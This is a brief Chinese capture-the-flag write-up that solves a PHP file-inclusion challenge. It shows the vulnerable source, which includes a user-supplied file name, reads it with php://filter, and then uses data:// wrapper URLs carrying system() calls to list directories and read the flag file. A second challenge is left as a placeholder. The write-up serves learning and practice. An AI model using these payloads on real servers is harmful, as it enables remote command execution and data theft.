1、不知所措.jpg 
 
 这题对我这个新手来说真的是一言难尽…太吃经验了,老手肯定是分分钟解决  
  
- 打开页面,这里的意思是变量
$file必须要有test  - 首先猜测变量
$file是通过$_GET['file']GET请求得到的且为?file=test 
  - ??自动给我加了一个php
        - 难道是存在一个
test.php文件?尝试,输入test自动补php,index.php?file=test.php,这是一个文件包含? 
  - 也确实存在,貌似是文件包含,但是它说flag不在这儿
       - 既然是文件包含,尝试用
php://filter读test.php源码(看一下) 
      
<?php
echo "flag_not_here";
?>
  
 
<?php
error_reporting(0);
$file=$_GET['file'];
$file=$file.'php';
echo $file."<br />";
if(preg_match('/test/is',$file)){
	include ($file);
}else{
	echo '$file must has test';
}
?>
  
-  
确定了是include($file),使用data://text/plain伪协议向$file写入PHP代码,来进行命令执行!   -  
/?file=data://test/plain,<?php eval(system('ls'));?>//test      -  
?file=data://test/plain,<?php eval(system('ls /'));?>//test      -  
?file=data://test/plain,<?php eval(system('cat /FFFFFFFL@GGGG'));?>//test        
2、easyshell 
。。。(待更) 
                
                
                
        
    
 
 |